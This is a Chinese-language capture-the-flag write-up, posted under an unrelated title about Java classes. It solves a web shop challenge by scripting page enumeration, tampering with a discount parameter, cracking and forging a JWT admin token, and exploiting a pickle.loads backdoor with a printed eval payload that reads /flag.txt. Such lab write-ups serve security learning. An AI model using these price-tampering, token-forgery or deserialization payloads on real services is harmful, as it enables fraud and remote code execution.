1. 程式人生 > 其它 >Java常用類庫Integer,Character,toCharArray

Java常用類庫Integer,Character,toCharArray

首先看到

想到去找lv6,一頁一頁翻太離譜,想到寫個指令碼

import requests
import time

url = "http://7077f8c9-2f48-4b21-9d31-61cfc868d4a2.node3.buuoj.cn/shop?page="
for i in range(0,10000):
    nurl = url + str(i)
    print(nurl)
    #time.sleep(0.5)
    res = requests.get(nurl)
    if "lv6.png" in res.text:
        print(i)
        break

在181頁找到了lv6,註冊併購買,很明顯錢不夠,試試抓包修改金額,不,改折扣

discount改成0.0000001

發現一個新url,/b1g_m4mber,上面顯示該頁面只能由admin訪問

發現一個叫JWT的,是JSON Web Token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q

先進行一次base64解碼

{"alg":"HS256","typ":"JWT"}{"username":"1"}"`ΐ@0ڣ-~̅ha賽Ю

把username改成admin試試(我的登入名是1),因為後面有一個sha256,所以需要破解工具c-jwt-cracker

密碼1Kun

去這裡生成JWT,https://jwt.io/

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

回到Burp裡,生成,有反應了,讓我一鍵成為大會員,點完沒反應

不急,看看F12,發現原始碼的下載地址,/static/asd1f654e683wq/www.zip

進行程式碼審計

在settings.py裡有一個hint

\u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc

進行unicoed解碼https://tool.chinaz.com/tools/unicode.aspx,提示說這網站不僅可以以薅羊毛,我還留了個後門,就藏在lv6裡

在Admin.py中可以找到pickle.loads()函式

	@tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

涉及:pickle反序列化

pickle提供了一個簡單的持久化功能。可以將物件以檔案的形式存放在磁碟上。

pickle模組只能在python中使用,python中幾乎所有的資料型別(列表,字典,集合,類等)都可以用pickle來序列化, pickle序列化後的資料,可讀性差,人一般無法識別。

p = pickle.loads(urllib.unquote(become))

urllib.unquote:將存入的字典引數編碼為URL查詢字串,即轉換成以key1 = value1 & key2 = value2的形式

pickle.loads(bytes_object): 從位元組物件中讀取被封裝的物件,並返回

檢測方法:

全域性搜尋Python程式碼中是否含有關鍵字類似“import cPickle”或“import pickle”等,若存在則進一步確認是否呼叫cPickle.loads()或pickle.loads()且反序列化的引數可控。

構造payload,需要用到pickle裡的函式

Pickle模組中最常用的函式為:

(1)pickle.dump(obj, file, [,protocol])

        函式的功能:將obj物件序列化存入已經開啟的file中。

       引數講解:

    obj:想要序列化的obj物件。
    file:檔名稱。
    protocol:序列化使用的協議。如果該項省略,則預設為0。如果為負值或HIGHEST_PROTOCOL,則使用最高的協議版本。

(2)pickle.load(file)

        函式的功能:將file中的物件序列化讀出。

        引數講解:

    file:檔名稱。

(3)pickle.dumps(obj[, protocol])

       函式的功能:將obj物件序列化為string形式,而不是存入檔案中。

       引數講解:

    obj:想要序列化的obj物件。
    protocal:如果該項省略,則預設為0。如果為負值或HIGHEST_PROTOCOL,則使用最高的協議版本。

(4)pickle.loads(string)

       函式的功能:從string中讀出序列化前的obj物件。

       引數講解:

    string:檔名稱。

     【注】 dump() 與 load() 相比 dumps() 和 loads() 還有另一種能力:dump()函式能一個接著一個地將幾個物件序列化儲存到同一個檔案中,隨後呼叫load()來以同樣的順序反序列化讀出這些物件。

思路是我們構建一個類,類裡面的__reduce__魔術方法會在該類被反序列化的時候會被呼叫,而在__reduce__方法裡面我們就進行讀取flag.txt檔案,並將該類序列化之後進行URL編碼.

最終:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

得到

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

點選一鍵成為大會員,講結果插入到become裡!

得到flag!

參考:

https://www.cnblogs.com/Cl0ud/p/12177062.html